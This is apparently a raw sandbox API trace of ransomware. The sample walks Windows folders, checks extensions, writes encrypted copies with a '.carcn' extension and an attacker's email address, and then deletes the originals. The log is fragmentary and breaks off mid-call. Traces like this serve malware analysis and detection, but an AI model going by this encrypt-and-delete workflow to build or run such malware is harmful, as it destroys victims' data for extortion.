lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.346] lstrlenW (lpString=".doc") returned 4 [0182.346] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.346] lstrlenW (lpString=".docx") returned 5 [0182.346] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.346] lstrlenW (lpString=".pdf") returned 4 [0182.346] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.346] lstrlenW (lpString=".xls") returned 4 [0182.346] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.346] lstrlenW (lpString=".xlsx") returned 5 [0182.346] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.346] lstrlenW (lpString=".ppt") returned 4 [0182.346] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.346] lstrlenW (lpString=".zip") returned 4 [0182.346] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.346] lstrlenW (lpString=".rar") returned 4 [0182.346] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.346] lstrlenW (lpString=".bz2") returned 4 [0182.346] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.346] lstrlenW (lpString=".7z") returned 3 [0182.346] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.347] lstrlenW (lpString=".dbf") returned 4 [0182.347] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.347] lstrlenW (lpString=".1cd") returned 4 [0182.347] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.347] lstrlenW (lpString=".jpg") returned 4 [0182.347] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.347] lstrlenW (lpString=".doc") returned 4 [0182.347] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString=".docx") returned 5 [0182.347] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.347] lstrlenW (lpString=".pdf") returned 4 [0182.347] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString=".xls") returned 4 [0182.347] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString=".xlsx") returned 5 [0182.347] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.347] lstrlenW (lpString=".ppt") returned 4 [0182.347] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.347] lstrlenW (lpString=".zip") returned 4 [0182.347] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString=".rar") returned 4 [0182.347] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString=".bz2") returned 4 [0182.347] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.347] lstrlenW (lpString=".7z") returned 3 [0182.347] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.347] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.348] lstrlenW (lpString=".dbf") returned 4 [0182.348] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.348] lstrlenW (lpString=".1cd") returned 4 [0182.348] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.348] lstrlenW (lpString=".jpg") returned 4 [0182.348] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.348] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0182.348] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0182.348] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.348] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0182.348] CloseHandle (hObject=0x388) returned 1 [0182.348] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0182.349] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.349] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.349] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.349] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.349] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.349] GetLastError () returned 0x0 [0182.349] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0183.296] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0183.297] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.297] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x146, lpOverlapped=0x0) returned 1 [0183.298] SetEndOfFile (hFile=0x36c) returned 1 [0184.140] CloseHandle (hObject=0x36c) returned 1 [0184.142] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.142] SetEndOfFile (hFile=0x388) returned 1 [0184.143] CloseHandle (hObject=0x388) returned 1 [0184.143] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0184.143] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0184.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.143] lstrlenW (lpString=".doc") returned 4 [0184.143] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0184.143] lstrlenW (lpString=".docx") returned 5 [0184.143] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0184.143] lstrlenW (lpString=".pdf") returned 4 [0184.143] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0184.143] lstrlenW (lpString=".xls") returned 4 [0184.143] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0184.143] lstrlenW (lpString=".xlsx") returned 5 [0184.143] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0184.143] lstrlenW (lpString=".ppt") returned 4 [0184.144] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0184.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.144] lstrlenW (lpString=".zip") returned 4 [0184.144] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0184.144] lstrlenW (lpString=".rar") returned 4 [0184.144] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0184.144] lstrlenW (lpString=".bz2") returned 4 [0184.144] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0184.144] lstrlenW (lpString=".7z") returned 3 [0184.144] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0184.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.144] lstrlenW (lpString=".dbf") returned 4 [0184.144] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0184.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.144] lstrlenW (lpString=".1cd") returned 4 [0184.144] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0184.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.144] lstrlenW (lpString=".jpg") returned 4 [0184.144] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0184.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.144] lstrlenW (lpString=".doc") returned 4 [0184.144] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0184.144] lstrlenW (lpString=".docx") returned 5 [0184.144] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0184.144] lstrlenW (lpString=".pdf") returned 4 [0184.145] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0184.145] lstrlenW (lpString=".xls") returned 4 [0184.145] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0184.145] lstrlenW (lpString=".xlsx") returned 5 [0184.145] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0184.145] lstrlenW (lpString=".ppt") returned 4 [0184.145] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0184.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.145] lstrlenW (lpString=".zip") returned 4 [0184.145] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0184.145] lstrlenW (lpString=".rar") returned 4 [0184.145] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0184.145] lstrlenW (lpString=".bz2") returned 4 [0184.145] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0184.145] lstrlenW (lpString=".7z") returned 3 [0184.145] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0184.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.145] lstrlenW (lpString=".dbf") returned 4 [0184.145] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0184.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.145] lstrlenW (lpString=".1cd") returned 4 [0184.145] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0184.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0184.145] lstrlenW (lpString=".jpg") returned 4 [0184.145] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0184.145] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0184.145] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0184.146] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0184.210] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0184.210] CloseHandle (hObject=0x388) returned 1 [0184.210] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0184.210] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.210] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0184.210] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.210] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.210] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 12 os_tid = 0x4bc [0157.924] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x84dc10 [0157.925] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x85dc18 [0157.925] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecb28 [0157.925] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x81d228 [0157.925] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecc90 [0157.925] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x39cd020 [0157.927] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecc48 [0157.927] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecc48, Size=0x20) returned 0x7cec80 [0157.927] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecd68 [0157.927] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecd68, Size=0x20) returned 0x7cea00 [0157.928] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0157.928] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0157.928] Wow64DisableWow64FsRedirection (in: OldValue=0x2eaff50 | out: OldValue=0x2eaff50*=0x0) returned 1 [0157.928] lstrlenW (lpString="kernel32.dll") returned 12 [0157.928] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cec80 | out: hHeap=0x790000) returned 1 [0157.928] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.928] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0157.928] Sleep (dwMilliseconds=0x64) [0158.071] lstrcmpiW (lpString1=".cmd", lpString2=".carcn") returned 1 [0158.071] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0158.071] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0158.313] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=577) returned 1 [0158.313] CloseHandle (hObject=0x2e4) returned 1 [0158.313] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0158.314] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.314] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0158.314] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0158.314] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0158.314] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0158.605] GetLastError () returned 0x0 [0158.605] ReadFile (in: hFile=0x2e4, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x241, lpOverlapped=0x0) returned 1 [0158.683] WriteFile (in: hFile=0x2dc, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x250, lpOverlapped=0x0) returned 1 [0158.684] ReadFile (in: hFile=0x2e4, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0158.684] WriteFile (in: hFile=0x2dc, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x104, lpOverlapped=0x0) returned 1 [0158.684] SetEndOfFile (hFile=0x2dc) returned 1 [0158.684] CloseHandle (hObject=0x2dc) returned 1 [0158.685] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0158.685] SetEndOfFile (hFile=0x2e4) returned 1 [0158.685] CloseHandle (hObject=0x2e4) returned 1 [0158.685] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0158.686] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0158.686] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.686] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.686] lstrlenW (lpString=".doc") returned 4 [0158.686] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0158.686] lstrlenW (lpString=".docx") returned 5 [0158.686] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0158.686] lstrlenW (lpString=".pdf") returned 4 [0158.686] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0158.686] lstrlenW (lpString=".xls") returned 4 [0158.686] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0158.686] lstrlenW (lpString=".xlsx") returned 5 [0158.686] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0158.686] lstrlenW (lpString=".ppt") returned 4 [0158.686] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0158.686] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.686] lstrlenW (lpString=".zip") returned 4 [0158.686] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0158.686] lstrlenW (lpString=".rar") returned 4 [0158.686] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0158.686] lstrlenW (lpString=".bz2") returned 4 [0158.686] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0158.686] lstrlenW (lpString=".7z") returned 3 [0158.687] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0158.687] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.687] lstrlenW (lpString=".dbf") returned 4 [0158.687] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0158.687] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.687] lstrlenW (lpString=".1cd") returned 4 [0158.687] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0158.687] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.687] lstrlenW (lpString=".jpg") returned 4 [0158.687] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0158.687] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.687] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.687] lstrlenW (lpString=".doc") returned 4 [0158.687] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0158.687] lstrlenW (lpString=".docx") returned 5 [0158.687] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0158.687] lstrlenW (lpString=".pdf") returned 4 [0158.687] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0158.687] lstrlenW (lpString=".xls") returned 4 [0158.687] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0158.687] lstrlenW (lpString=".xlsx") returned 5 [0158.687] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0158.687] lstrlenW (lpString=".ppt") returned 4 [0158.687] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0158.687] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.687] lstrlenW (lpString=".zip") returned 4 [0158.687] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0158.687] lstrlenW (lpString=".rar") returned 4 [0158.687] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0158.687] lstrlenW (lpString=".bz2") returned 4 [0158.687] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0158.687] lstrlenW (lpString=".7z") returned 3 [0158.687] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0158.687] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.688] lstrlenW (lpString=".dbf") returned 4 [0158.688] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0158.688] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.688] lstrlenW (lpString=".1cd") returned 4 [0158.688] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0158.688] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0158.688] lstrlenW (lpString=".jpg") returned 4 [0158.688] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0158.688] Sleep (dwMilliseconds=0x64) [0158.963] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0158.963] lstrlenW (lpString="SetupResources.dll") returned 18 [0158.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0158.963] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=18776) returned 1 [0158.963] CloseHandle (hObject=0x2f8) returned 1 [0158.964] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0158.964] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0158.964] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0158.964] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0158.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 